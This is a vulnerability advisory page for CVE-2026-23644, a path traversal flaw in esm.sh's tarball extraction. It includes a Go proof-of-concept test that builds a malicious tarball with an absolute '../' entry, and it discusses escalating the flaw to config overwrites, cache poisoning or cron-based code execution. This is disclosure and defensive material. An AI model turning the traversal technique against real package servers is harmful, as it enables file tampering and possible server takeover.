7.7high
esm.sh has path traversal in `extractPackageTarball` that enables file writes from malicious packages
- Severity
- 7.7high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.68% (higher than 47% of CVEs)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-2657-3c98-63jqGO-2026-4332
Description
esm.sh is a no-build content delivery network (CDN) for web development. Prior to Go pseeudoversion 0.0.0-20260116051925-c62ab83c589e, the software has a path traversal vulnerability due to an incomplete fix. `path.Clean` normalizes a path but does not prevent absolute paths in a malicious tar file. Commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, corresponding to pseudoversion 0.0.0-20260116051925-c62ab83c589e, fixes this issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| esm-dev esm.sh | < 0.0.0-20260116051925-c62ab83c589e | CVE List |
| github.com/esm-dev/esm.sh (Go) | from 0.0.1 up to 136, before 0.0.0-20260116051925-c62ab83c589e | GitHub Advisory Database, Go Vulnerability Database |
| esm esm.sh | before 136 | NVD |
All scores
| GitHub_M | 7.7high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
Classification
SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.
What each source says
CVE List
esm.sh is a no-build content delivery network (CDN) for web development. Prior to Go pseeudoversion 0.0.0-20260116051925-c62ab83c589e, the software has a path traversal vulnerability due to an incomplete fix. `path.Clean` normalizes a path but does not prevent absolute paths in a malicious tar file. Commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, corresponding to pseudoversion 0.0.0-20260116051925-c62ab83c589e, fixes this issue.
GitHub Advisory Database
Summary
The commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file.
PoC
This test file can demonstrate the basic idea pretty easily:
package server
import (
"archive/tar"
"bytes"
"compress/gzip"
"testing"
)
// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function
// with a malicious tarball containing a path traversal attempt
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
// Create a temporary directory for testing
installDir := "./testdata/good"
// Create a malicious tarball with path traversal
var buf bytes.Buffer
gw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gw)
// Add a normal file
content := []byte("export const foo = 'bar';")
header := &tar.Header{
Name: "package/index.js",
Mode: 0644,
Size: int64(len(content)),
Typeflag: tar.TypeReg,
}
if err := tw.WriteHeader(header); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(content); err != nil {
t.Fatal(err)
}
// Add a malicious file with path traversal
bad := []byte("bad")
header = &tar.Header{
Name: "/../../../bad/bad.txt",
Mode: 0644,
Size: int64(len(bad)),
Typeflag: tar.TypeReg,
}
if err := tw.WriteHeader(header); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(bad); err != nil {
t.Fatal(err)
}
tw.Close()
gw.Close()
// Call extractPackageTarball with the malicious tarball
if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
t.Errorf("extractPackageTarball returned error: %v", err)
}
}
Impact
It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.
Arbitrary file write can lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to enable code execution is unclear.
The limiting factors in the default setup that limit escalating this to code execution:
extractPackageTarballhas a file-extension check which makes some more "obvious" escalations like overwriting binaries in/esm/bin(e.g.deno) impractical since it requires the target file to have an allowlisted extension.- Using the
Dockerfilein the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to/tmpand it's home directory. - The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.
Fix
Using os.Root seems like it will solve this issue and doesn't require new dependencies.
Go Vulnerability Database
esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages
NVD (es)
esm.sh es una red de entrega de contenido (CDN) sin compilación para desarrollo web. Antes de la pseudoversión Go 0.0.0-20260116051925-c62ab83c589e, el software tiene una vulnerabilidad de salto de ruta debido a una corrección incompleta. 'path.Clean' normaliza una ruta pero no evita rutas absolutas en un archivo tar malicioso. El commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, correspondiente a la pseudoversión 0.0.0-20260116051925-c62ab83c589e, soluciona este problema.
References
| https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq | advisory, vendor-advisory, web | |
| https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16 | fix, patch, web | |
| https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093 | fix, patch, web | |
| https://pkg.go.dev/vuln/GO-2025-4138 | exploit, vendor-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-23644 | advisory | |
| https://github.com/esm-dev/esm.sh | package | |
| https://pkg.go.dev/vuln/GO-2026-4332 | web | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-23644 changed 2026-01-20 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-2657-3c98-63jq changed 2026-09-10 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-4332 changed 2026-02-26 | CC-BY-4.0 |
| NVD | CVE-2026-23644 changed 2026-06-17 | Public domain |